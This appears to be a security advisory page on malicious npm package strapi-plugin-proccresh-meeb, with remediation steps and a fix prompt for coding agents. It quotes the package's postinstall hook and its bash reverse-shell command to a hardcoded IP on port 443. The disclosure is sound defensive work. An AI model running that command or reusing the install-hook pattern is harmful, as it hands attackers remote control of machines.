# MAL-2026-16182: Malicious code in strapi-plugin-proccresh-meeb (npm)


- **Type:** Malicious package
- **Package:** `strapi-plugin-proccresh-meeb` (npm)
- **Published:** 15 Sep 2026

## What is MAL-2026-16182?

MAL-2026-16182 is a malicious package in strapi-plugin-proccresh-meeb, published on 15 Sep 2026. 

### Official description

strapi-plugin-proccresh-meeb ships a postinstall dropper that opens a bash reverse shell to the hardcoded IP 14.225.210.85 on TCP/443 at npm install time. package.json declares `"scripts": { "postinstall": "node postinstall.js" }` and `"main": "postinstall.js"`, so both `npm install` and any `require()` of the package unconditionally execute `postinstall.js`, which runs `bash -c 'bash -i > /dev/tcp/14.225.210.85/443 0>&1'`, connecting the installer's shell stdio to the attacker-controlled host. The package's own description self-identifies as `Reverse shell payload for Strapi`. Result is full interactive remote code execution on the installer's machine with no user interaction.

## What should I do about MAL-2026-16182?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-16182 is a malicious package: strapi-plugin-proccresh-meeb (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-16182/ (Markdown: https://insights.sbomify.com/MAL-2026-16182/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-16182

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-16182/
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